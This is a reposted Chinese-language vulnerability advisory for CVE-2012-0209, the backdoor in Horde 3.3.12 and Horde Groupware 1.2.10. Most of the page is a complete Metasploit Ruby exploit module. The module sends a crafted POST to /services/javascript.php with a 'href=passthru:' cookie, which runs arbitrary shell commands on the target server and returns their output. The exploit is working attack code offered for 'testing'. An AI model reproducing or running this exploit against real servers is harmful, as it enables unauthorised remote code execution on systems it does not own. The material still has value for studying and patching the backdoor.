horde groupware php,Horde 3.3.12后门任意PHP代码执行漏洞
发布日期:2021-06-24 13:34:02 浏览次数:2 分类:技术文章

本文共 3359 字,大约阅读时间需要 11 分钟。

发布日期:2012-02-17

更新日期:2012-02-21

受影响系统:

Horde Horde 3.3.12

Horde Horde Groupware 1.2.10

描述:

--------------------------------------------------------------------------------

CVE ID: CVE-2012-0209

Horde Groupware是邮件和通讯解决方案。Metasploit软件可帮助IT专业人士识别安全漏洞,有助避免数据泄露。

Horde 3.3.12和Horde Groupware 1.2.10被植入了后门代码,远程攻击者可能利用这个问题在服务器上执行任意PHP代码。

链接:http://packetstormsecurity.org/files/109874/horde_href_backdoor.rb.txt

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

packetstormsecurity ()提供了如下测试方法:

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',

'Description'    => %q{

This module exploits an arbitrary PHP code execution vulnerability introduced

as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.

},

'Author'         => [

'Eric Romang',  # first public PoC

'jduck'         # Metasploit module

],

'License'        => MSF_LICENSE,

'References'     =>

[

[ 'CVE', '2012-0209'],

[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],

[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]

],

'Privileged'     => false,

'Payload'        =>

{

'BadChars' => "\x0a\x0d",

'DisableNops' => true,

'Space'       => 4096,

'Compat'      =>

{

'PayloadType' => 'cmd',

}

},

'Platform'       => [ 'unix', 'linux' ],

'Arch'           => ARCH_CMD,

'DefaultTarget'  => 0,

'Targets'        => [[ 'Automatic', { }]],

'DisclosureDate' => 'Feb 13 2012'

))

register_options(

[

OptString.new('URI', [true, "Path to Horde installation", "/horde"]),

OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),

], self.class)

end

def exploit

# Make sure the URI begins with a slash

uri = datastore['URI']

if uri[0,1] != '/'

uri = '/' + uri

end

# Make sure the URI ends without a slash, because it's already part of the URI

if uri[-1, 1] == '/'

uri = uri[0, uri.length-1]

end

function = "passthru"

key = Rex::Text.rand_text_alpha(6)

arguments = "echo #{key}`"+payload.raw+"`#{key}"

res = send_request_cgi({

'uri'     => uri + "/services/javascript.php",

'method'  => 'POST',

'ctype'   => 'application/x-www-form-urlencoded',

'data'    => "app="+datastore['APP']+"&file=open_calendar.js",

'headers' =>

{

'Cookie' => "href="+function+":"+arguments,

'Connection' => 'Close',

}

}) #default timeout, we don't care about the response

if (res)

print_status("The server returned: #{res.code} #{res.message}")

end

resp = res.body.split(key)

if resp and resp[1]

print_status(resp[1])

else

print_error("No response found")

end

handler

end

end

建议:

--------------------------------------------------------------------------------

厂商补丁:

Horde

-----

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.horde.org

http://www.dengb.com/xtaq/785579.htmlwww.dengb.comtruehttp://www.dengb.com/xtaq/785579.htmlTechArticle发布日期:2012-02-17 更新日期:2012-02-21 受影响系统: Horde Horde 3.3.12 Horde Horde Groupware 1.2.10 描述: ---------------------------------------------------...

转载地址:https://blog.csdn.net/weixin_33212263/article/details/115620226 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:php是一种通用开源,caozha-admin(PHP网站后台管理框架)
下一篇:java水面倒影效果,Java:图像倒影

发表评论

最新留言

不错!
[***.144.177.141]2024年04月05日 04时27分45秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章

scratch打棒球游戏 电子学会图形化编程scratch等级考试四级真题和答案解析2019 2019-04-28
scratch列表移位 电子学会图形化编程scratch等级考试四级真题和答案解析2019 2019-04-28
scratch动物拥抱游戏 电子学会图形化编程scratch等级考试一级真题答案2020-9 2019-04-28
spring aop之对象内部方法间的嵌套失效 2019-04-28
SecureCRT工具登录跳板机,直接连接目标机器 2019-04-28
Google首席工程师Joshua Bloch谈如何设计优秀的API 2019-04-28
java SPI 与cooma(dubbo 微容器改良品)--1 2019-04-28
Java后端--3--Springboot基础开发规范 2019-04-28
安全合规--45--基于国内法律法规的企业数据合规体系建设经验总结(四) 2019-04-28
安全合规--46--基于国内法律法规的企业数据合规体系建设经验总结(五) 2019-04-28
安全合规--47--基于国内法律法规的企业数据合规体系建设经验总结(六) 2019-04-28
安全合规--48--基于国内法律法规的企业数据合规体系建设经验总结(七) 2019-04-28
安全合规--49--基于国内法律法规的企业数据合规体系建设经验总结(八) 2019-04-28
安全合规--50--基于国内法律法规的企业数据合规体系建设经验总结(九) 2019-04-28
Suricata+ELK集群监控办公网流量 2019-04-28
安全架构--4--一个优秀的团队管理者所应具备的能力 2019-04-28
安全架构--5--我设计的企业安全体系架构 2019-04-28
Python3开发--23--搭建Django商城项目架构 2019-04-28
Python3开发--24--Django项目的路由设计 2019-04-28
Python3开发--25--Django项目的数据模型搭建与使用 2019-04-28